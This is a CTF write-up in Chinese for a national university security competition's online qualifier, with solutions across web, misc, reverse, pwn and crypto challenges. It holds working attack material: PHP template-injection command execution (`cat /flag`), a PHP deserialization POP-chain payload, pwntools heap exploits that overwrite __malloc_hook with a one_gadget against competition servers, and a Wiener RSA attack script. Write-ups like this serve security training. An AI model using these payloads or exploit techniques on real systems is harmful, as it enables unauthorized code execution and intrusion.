第十三届全国大学生信息安全竞赛(线上初赛)
干啥啥不行,混子第一名,全靠躺,,,,,队友带飞!
WEB
easyphp
打开题目拿到源码:
根据题目的描述,让进程异常退出,进入到phpinfo中
payload:
http://eci-2ze4mvter6u3r4shc9j6.cloudeci1.ichunqiu.com/?a=call_user_func&b=pcntl_wait
运行得到phpinfo,找到flag即可:
RCEME
貌似有原题,不过过滤的不一样,这道题没有过滤反撇号:
<?php
error_reporting(0);
highlight_file(__FILE__);
parserIfLabel($_GET['a']);
function danger_key($s) {
$s=htmlspecialchars($s);
$key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
$s = str_ireplace($key,"*",$s);
$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
foreach ($danger as $val){
if(strpos($s,$val) !==false){
die('很抱歉,执行出错,发现危险字符【'.$val.'】');
}
}
if(preg_match("/^[a-z]$/i")){
die('很抱歉,执行出错,发现危险字符');
}
return $s;
}
function parserIfLabel( $content ) {
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
if ( preg_match_all( $pattern, $content, $matches ) ) {
$count = count( $matches[ 0 ] );
for ( $i = 0; $i < $count; $i++ ) {
$flag = '';
$out_html = '';
$ifstr = $matches[ 1 ][ $i ];
$ifstr=danger_key($ifstr,1);
if(strpos($ifstr,'=') !== false){
$arr= splits($ifstr,'=');
if($arr[0]=='' || $arr[1]==''){
die('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');
}
$ifstr = str_replace( '=', '==', $ifstr );
}
$ifstr = str_replace( '<>', '!=', $ifstr );
$ifstr = str_replace( 'or', '||', $ifstr );
$ifstr = str_replace( 'and', '&&', $ifstr );
$ifstr = str_replace( 'mod', '%', $ifstr );
$ifstr = str_replace( 'not', '!', $ifstr );
if ( preg_match( '/\{|}/', $ifstr)) {
die('很抱歉,模板中有错误的判断,请修正'.$ifstr);
}else{
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
}
if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) {
switch ( $flag ) {
case 'if':
if ( isset( $matches2[ 1 ] ) ) {
$out_html .= $matches2[ 1 ];
}
break;
case 'else':
if ( isset( $matches2[ 2 ] ) ) {
$out_html .= $matches2[ 2 ];
}
break;
}
} elseif ( $flag == 'if' ) {
$out_html .= $matches[ 2 ][ $i ];
}
$pattern2 = '/\{if([0-9]):/';
if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
$out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );
$out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );
$out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );
$out_html = $this->parserIfLabel( $out_html );
}
$content = str_replace( $matches[ 0 ][ $i ], $out_html, $content );
}
}
return $content;
}
function splits( $s, $str=',' ) {
if ( empty( $s ) ) return array( '' );
if ( strpos( $s, $str ) !== false ) {
return explode( $str, $s );
} else {
return array( $s );
}
}
审计一下代码,发现是模板注入,我们输入a={if:123}{end if}
本地调式可得知$ifstr就是123,那我们可以直接输入命令执行
由于没有过滤echo与反撇号,那么就能够执行命令,只要把前后括号闭合即可
payload:
?a={if:1);echo%20`cat%20/flag`;if(1}{end%20if}
运行得到:
easytrick
打开页面得到源码:
<?php
class trick{
public $trick1;
public $trick2;
public function __destruct(){
$this->trick1 = (string)$this->trick1;
if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
die("你太长了");
}
if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
echo file_get_contents("/flag");
}
}
}
highlight_file(__FILE__);
unserialize($_GET['trick']);
可以看见,只要一个5位数长度而且MD5值相同的字符串就行了,但是前提你能找到,,,,
本地搭环境进行测试,各种尝试,后面怀疑会是精度问题,,,尝试之后
payload:
?trick=O:5:"trick":2:{s:6:"trick1";d:0.1;s:6:"trick2";d:0.100000000000001;}
得到:
本地测试环境:
babyunserialize
没仔细看,听说好像是wmctf原题,,,只不过修改了一下,队友给的exp:
<?php
namespace DB {
abstract class Cursor
{
}
}
namespace DB\SQL {
class Mapper extends \DB\Cursor
{
protected $props = ["quotekey" => "phpinfo"], $adhoc = [123 => ["expr" => ""]], $db = "";
function __construct($val)
{
$this->db = $val;
}
}
}
namespace CLI {
class WS
{
}
class Agent
{
protected $server = "";
public $events;
public function __construct()
{
$this->events = ["disconnect" => array(new \DB\SQL\Mapper(new \DB\SQL\Mapper("")), "find")];
$this->server =& $this;
}
}
;
}
namespace CLI {
echo urlencode(serialize(array(new \CLI\WS(), new \CLI\Agent())));
} ?>
paylaod:
/?flag=a%3A2%3A{i%3A0%3BO%3A6%3A"CLI\WS"%3A0%3A{}i%3A1%3BO%3A9%3A"CLI\Agent"%3A2%3A{s%3A9%3A"%00*%00server"%3Br%3A3%3Bs%3A6%3A"events"%3Ba%3A1%3A{s%3A10%3A"disconnect"%3Ba%3A2%3A{i%3A0%3BO%3A13%3A"DB\SQL\Mapper"%3A3%3A{s%3A8%3A"%00*%00props"%3Ba%3A1%3A{s%3A8%3A"quotekey"%3Bs%3A7%3A"phpinfo"%3B}s%3A8%3A"%00*%00adhoc"%3Ba%3A1%3A{i%3A123%3Ba%3A1%3A{s%3A4%3A"expr"%3Bs%3A0%3A""%3B}}s%3A5%3A"%00*%00db"%3BO%3A13%3A"DB\SQL\Mapper"%3A3%3A{s%3A8%3A"%00*%00props"%3Ba%3A1%3A{s%3A8%3A"quotekey"%3Bs%3A7%3A"phpinfo"%3B}s%3A8%3A"%00*%00adhoc"%3Ba%3A1%3A{i%3A123%3Ba%3A1%3A{s%3A4%3A"expr"%3Bs%3A0%3A""%3B}}s%3A5%3A"%00*%00db"%3Bs%3A0%3A""%3B}}i%3A1%3Bs%3A4%3A"find"%3B}}}}
MISC
签到
到一定时间就能得到flag:
the_best_ctf_game
下载文件放入到winhex即可看到flag
电脑被黑
下载题目后,winhex打开,使用专业工具将镜像文件转换为磁盘:
使用工具DiskGenius恢复flag.txt:
恢复之后发现是乱码:
将文件保存后,打开文件发现是乱码,还有一个文件demo,winhex查看后发现是ELF文件,直接放入ida中查看:
一个加密算法,需要将flag.txt内容逆向输出,运行得到flag
flag:
flag{e5d7c4ed-b8f6-4417-8317-b809fc26c047}
RE
Z3,直接利用z3运算即可:
# coding:utf-8
from z3 import *
s = Solver()
v46=Int("v46")
v47=Int("v47")
v48=Int("v48")
v49=Int("v49")
v50=Int("v50")
v51=Int("v51")
v52=Int("v52")
v53=Int("v53")
v54=Int("v54")
v55=Int("v55")
v56=Int("v56")
v57=Int("v57")
v58=Int("v58")
v59=Int("v59")
v60=Int("v60")
v61=Int("v61")
v62=Int("v62")
v63=Int("v63")
v64=Int("v64")
v65=Int("v65")
v66=Int("v66")
v67=Int("v67")
v68=Int("v68")
v69=Int("v69")
v70=Int("v70")
v71=Int("v71")
v72=Int("v72")
v73=Int("v73")
v74=Int("v74")
v75=Int("v75")
v76=Int("v76")
v77=Int("v77")
v78=Int("v78")
v79=Int("v79")
v80=Int("v80")
v81=Int("v81")
v82=Int("v82")
v83=Int("v83")
v84=Int("v84")
v85=Int("v85")
v86=Int("v86")
v87=Int("v87")
s.add(0x4F17 == 34*v49+12*v46+53*v47+6*v48+58*v50+36*v51+v52)
s.add(0x9CF6 == 27*v50+73*v49+12*v48+83*v46+85*v47+96*v51+52*v52)
s.add(0x8DDB == 24*v48+78*v46+53*v47+36*v49+86*v50+25*v51+46*v52)
s.add(0x8EA6 == 78*v47+39*v46+52*v48+9*v49+62*v50+37*v51+84*v52)
s.add(0x6929 == 48*v50+14*v48+23*v46+6*v47+74*v49+12*v51+83*v52)
s.add(0x9911 == 15*v51+48*v50+92*v48+85*v47+27*v46+42*v49+72*v52)
s.add(0x40A2 == 26*v51+67*v49+6*v47+4*v46+3*v48+68*v52)
s.add(0x2F3E == 34*v56+12*v53+53*v54+6*v55+58*v57+36*v58+v59)
s.add(0x62B6 == 27*v57+73*v56+12*v55+83*v53+85*v54+96*v58+52*v59)
s.add(0x4B82 == 24*v55+78*v53+53*v54+36*v56+86*v57+25*v58+46*v59)
s.add(0x486C == 78*v54+39*v53+52*v55+9*v56+62*v57+37*v58+84*v59)
s.add(0x4002 == 48*v57+14*v55+23*v53+6*v54+74*v56+12*v58+83*v59)
s.add(0x52D7 == 15*v58+48*v57+92*v55+85*v54+27*v53+42*v56+72*v59)
s.add(0x2DEF == 26*v58+67*v56+6*v54+4*v53+3*v55+68*v59)
s.add(0x28DC == 34*v63+12*v60+53*v61+6*v62+58*v64+36*v65+v66)
s.add(0x640D == 27*v64+73*v63+12*v62+83*v60+85*v61+96*v65+52*v66)
s.add(0x528F == 24*v62+78*v60+53*v61+36*v63+86*v64+25*v65+46*v66)
s.add(0x613B == 78*v61+39*v60+52*v62+9*v63+62*v64+37*v65+84*v66)
s.add(0x4781 == 48*v64+14*v62+23*v60+6*v61+74*v63+12*v65+83*v66)
s.add(0x6B17 == 15*v65+48*v64+92*v62+85*v61+27*v60+42*v63+72*v66)
s.add(0x3237 == 26*v65+67*v63+6*v61+4*v60+3*v62+68*v66)
s.add(0x2A93 == 34*v70+12*v67+53*v68+6*v69+58*v71+36*v72+v73)
s.add(0x615F == 27*v71+73*v70+12*v69+83*v67+85*v68+96*v72+52*v73)
s.add(0x50BE == 24*v69+78*v67+53*v68+36*v70+86*v71+25*v72+46*v73)
s.add(0x598E == 78*v68+39*v67+52*v69+9*v70+62*v71+37*v72+84*v73)
s.add(0x4656 == 48*v71+14*v69+23*v67+6*v68+74*v70+12*v72+83*v73)
s.add(0x5B31 == 15*v72+48*v71+92*v69+85*v68+27*v67+42*v70+72*v73)
s.add(0x313A == 26*v72+67*v70+6*v68+4*v67+3*v69+68*v73)
s.add(0x3010 == 34*v77+12*v74+53*v75+6*v76+58*v78+36*v79+v80)
s.add(0x67FE == 27*v78+73*v77+12*v76+83*v74+85*v75+96*v79+52*v80)
s.add(0x4D5F == 24*v76+78*v74+53*v75+36*v77+86*v78+25*v79+46*v80)
s.add(0x58DB == 78*v75+39*v74+52*v76+9*v77+62*v78+37*v79+84*v80)
s.add(0x3799 == 48*v78+14*v76+23*v74+6*v75+74*v77+12*v79+83*v80)
s.add(0x60A0 == 15*v79+48*v78+92*v76+85*v75+27*v74+42*v77+72*v80)
s.add(0x2750 == 26*v79+67*v77+6*v75+4*v74+3*v76+68*v80)
s.add(0x3759 == 34*v84+12*v81+53*v82+6*v83+58*v85+36*v86+v87)
s.add(0x8953 == 27*v85+73*v84+12*v83+83*v81+85*v82+96*v86+52*v87)
s.add(0x7122 == 24*v83+78*v81+53*v82+36*v84+86*v85+25*v86+46*v87)
s.add(0x81F9 == 78*v82+39*v81+52*v83+9*v84+62*v85+37*v86+84*v87)
s.add(0x5524 == 48*v85+14*v83+23*v81+6*v82+74*v84+12*v86+83*v87)
s.add(0x8971 == 15*v86+48*v85+92*v83+85*v82+27*v81+42*v84+72*v87)
s.add(0x3A1D == 26*v86+67*v84+6*v82+4*v81+3*v83+68*v87)
flag = []
if s.check() == sat:
flag.append(s.model()[v46])
flag.append(s.model()[v47])
flag.append(s.model()[v48])
flag.append(s.model()[v49])
flag.append(s.model()[v50])
flag.append(s.model()[v51])
flag.append(s.model()[v52])
flag.append(s.model()[v53])
flag.append(s.model()[v54])
flag.append(s.model()[v55])
flag.append(s.model()[v56])
flag.append(s.model()[v57])
flag.append(s.model()[v58])
flag.append(s.model()[v59])
flag.append(s.model()[v60])
flag.append(s.model()[v61])
flag.append(s.model()[v62])
flag.append(s.model()[v63])
flag.append(s.model()[v64])
flag.append(s.model()[v65])
flag.append(s.model()[v66])
flag.append(s.model()[v67])
flag.append(s.model()[v68])
flag.append(s.model()[v69])
flag.append(s.model()[v70])
flag.append(s.model()[v71])
flag.append(s.model()[v72])
flag.append(s.model()[v73])
flag.append(s.model()[v74])
flag.append(s.model()[v75])
flag.append(s.model()[v76])
flag.append(s.model()[v77])
flag.append(s.model()[v78])
flag.append(s.model()[v79])
flag.append(s.model()[v80])
flag.append(s.model()[v81])
flag.append(s.model()[v82])
flag.append(s.model()[v83])
flag.append(s.model()[v84])
flag.append(s.model()[v85])
flag.append(s.model()[v86])
flag.append(s.model()[v87])
print flag
最后转字符就行了
PWN
主要靠豆豆师傅!!!
babyjsc
exp:
from pwn import *
p=remote(‘101.200.53.148’,13465)
payload=”__import__("os").system("cat /home/ctf/flag")”
p.sendline(payload)
p.sendline(payload)
p.interactive()
easybox
exp:
from pwn import *
p=0
def pwn():
global p
#p=process('./pwn2')
p=remote('101.200.53.148',34521)
elf=ELF('./pwn2')
libc=elf.libc
def add(idx,size,data):
p.sendlineafter('>>>','1')
p.sendlineafter(':',str(idx))
p.sendlineafter(':',str(size))
p.sendafter(':',data)
def delete(idx):
p.sendlineafter('>>>','2')
p.sendlineafter(':',str(idx))
''' add(0,0x28,'doudou') add(1,0x28,'doudou') add(2,0x68,'doudou') add(3,0x28,'doudou') delete(0) add(0,0x28,'a'*0x28+'\xa1') delete(1) delete(2) add(1,0x28,'doudou') #add(4,0x68,'doudou') '''
add(0,0x68,'doudou')
add(4,0x28,'doudou')
add(1,0x60,'doudou')
add(2,0x90,'doudou')
add(5,0x60,'doudou')
delete(2)
add(2,0x20,'doudou')
add(3,0x60, "\xdd\x65")
delete(0)
add(0,0x68,'a'*0x60+p64(0)+'\xa1')
delete(5)
delete(1)
delete(4)
payload=p64(0)*5+p64(0x71)+'\x40'
add(4,0x98,payload)
payload= b"\x00" * 3 + p64(0) * 0x6 + p64(0xfbad2887 | 0x1000) + p64(0) * 3 + b"\x00"
add(1,0x68,'aaa')
add(5,0x68,'aaa')
add(6,0x68,payload)
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3c5600
log.success('libcbase: '+hex(libcbase))
malloc_hook=libcbase+libc.sym['__malloc_hook']
o_g=[0x45226,0x4527a,0xf0364,0xf1207]
one_gadget=libcbase+o_g[3]
#add(0x60)
delete(3)
delete(0)
delete(5)
add(3,0x68,p64(malloc_hook-0x23))
add(0,0x68,'aaa')
add(5,0x68,'bbb')
add(7,0x68,'a'*19+p64(one_gadget))
#gdb.attach(p,'b *$rebase(0x00C3C)')
#delete(0)
p.interactive()
return True
if __name__=='__main__':
while 1:
try:
if pwn()==True:
break
except Exception as e:
p.close()
continue
maj
from pwn import *
p=0
def pwn():
global p
#p=process('./pwn3')
p=remote('101.200.53.148',15423)
elf=ELF('./pwn3')
libc=elf.libc
def add(size,data):
p.sendlineafter('>> ','1')
p.sendlineafter('question\n',str(0x50))
p.sendlineafter('?',str(size))
p.sendlineafter('start_the_game,yes_or_no?',data)
def delete(idx):
p.sendlineafter('>> ','2')
p.sendlineafter('?',str(idx))
def show(idx):
p.sendlineafter('>> ','3')
p.sendlineafter('?',str(idx))
def edit(idx,data):
p.sendlineafter('>> ','4')
p.sendlineafter('?',str(idx))
p.sendafter('?',data)
add(0x68,'dd')#0
add(0x68,'dd')#1
add(0x98,'dd')#2
add(0x18,'dd')#3
delete(2)
add(0x68,'aa')#2
add(0x28,'d')#4
edit(4,'\xdd\x65')
delete(0)
delete(1)
edit(1,'\xe0')
add(0x68,'dd')#0
add(0x68,'dd')#1
payload=b"\x00" * 3 + p64(0) * 0x6 + p64(0xfbad2887 | 0x1000) + p64(0) * 3 + b"\x00"
add(0x68,'dd')
edit(8,payload)
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3c5600
log.success('libcbase: '+hex(libcbase))
malloc_hook=libcbase+libc.sym['__malloc_hook']
o_g=[0x45226,0x4527a,0xf0364,0xf1207]
one_gadget=libcbase+o_g[3]
delete(0)
edit(0,p64(malloc_hook-0x23))
add(0x68,'dd')
add(0x68,'aa')
edit(10,'a'*19+p64(one_gadget))
#gdb.attach(p,'b *0x00402228')
#show(0)
p.interactive()
return True
if __name__=='__main__':
while 1:
try:
if pwn()==True:
break
except Exception as e:
p.close()
Continu
CRYPTO
bd
解密脚本:
import ContinuedFractions, Arithmetic, RSAvulnerableKeyGenerator
def hack_RSA(e,n):
''' Finds d knowing (e,n) applying the Wiener continued fraction attack '''
frac = ContinuedFractions.rational_to_contfrac(e, n)
convergents = ContinuedFractions.convergents_from_contfrac(frac)
for (k,d) in convergents:
#check if d is actually the key
if k!=0 and (e*d-1)%k == 0:
phi = (e*d-1)//k
s = n - phi + 1
# check if the equation x^2 - s*x + n = 0
# has integer roots
discr = s*s - 4*n
if(discr>=0):
t = Arithmetic.is_perfect_square(discr)
if t!=-1 and (s+t)%2==0:
print("Hacked!")
return d
if __name__ == "__main__":
n=86966590627372918010571457840724456774194080910694231109811773050866217415975647358784246153710824794652840306389428729923771431340699346354646708396564203957270393882105042714920060055401541794748437242707186192941546185666953574082803056612193004258064074902605834799171191314001030749992715155125694272289
e=46867417013414476511855705167486515292101865210840925173161828985833867821644239088991107524584028941183216735115986313719966458608881689802377181633111389920813814350964315420422257050287517851213109465823444767895817372377616723406116946259672358254060231210263961445286931270444042869857616609048537240249
d=hack_RSA(e,n)
c=37625098109081701774571613785279343908814425141123915351527903477451570893536663171806089364574293449414561630485312247061686191366669404389142347972565020570877175992098033759403318443705791866939363061966538210758611679849037990315161035649389943256526167843576617469134413191950908582922902210791377220066
m=pow(c,d,n)
print m
运行得到: